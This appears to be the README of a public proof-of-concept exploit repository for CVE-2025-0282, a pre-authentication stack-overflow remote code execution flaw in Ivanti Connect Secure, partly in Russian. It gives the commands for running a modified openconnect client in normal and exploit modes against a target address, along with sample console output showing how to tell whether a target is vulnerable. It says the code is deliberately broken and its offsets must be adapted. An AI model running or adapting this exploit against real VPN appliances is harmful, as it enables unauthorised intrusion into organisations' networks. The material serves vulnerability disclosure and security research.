watchtowrlabs/cve-2025-0282Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
Ivanti Connect Secure IFT TLS Stack Overflow Pre-auth RCE (CVE-2025-0282)
Этот код намеренно сломан нетривиальным образом и потребует усилий для работы, как было описано ранее в нашем блоге о методике эксплуатации.
Чтобы понять эту уязвимость, вы можете ознакомиться с нашим техническим разбором.
Прохождение эксплуатации и методики – Ivanti Connect Secure RCE (CVE-2025-0282)
Код работает в двух режимах:
Начните с запуска кода в «Обычном» режиме. Если вы увидите запрос пароля, это означает, что цель работоспособна. Затем переключитесь в «Режим эксплуатации». Если вы увидите сообщение «Failed to complete authentication», цель может быть уязвима. Обратите внимание, что код эксплойта содержит жёстко заданные адреса и смещения, которые вам нужно будет изменить для работы с вашей одобренной целью.
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication
[!] Target might be vulnerable
Этот эксплойт написан Sina Kheirkhah (@SinSinology) из watchTowr (@watchtowrcyber)
Актуальные исследования безопасности – следите за командой watchTowr Labs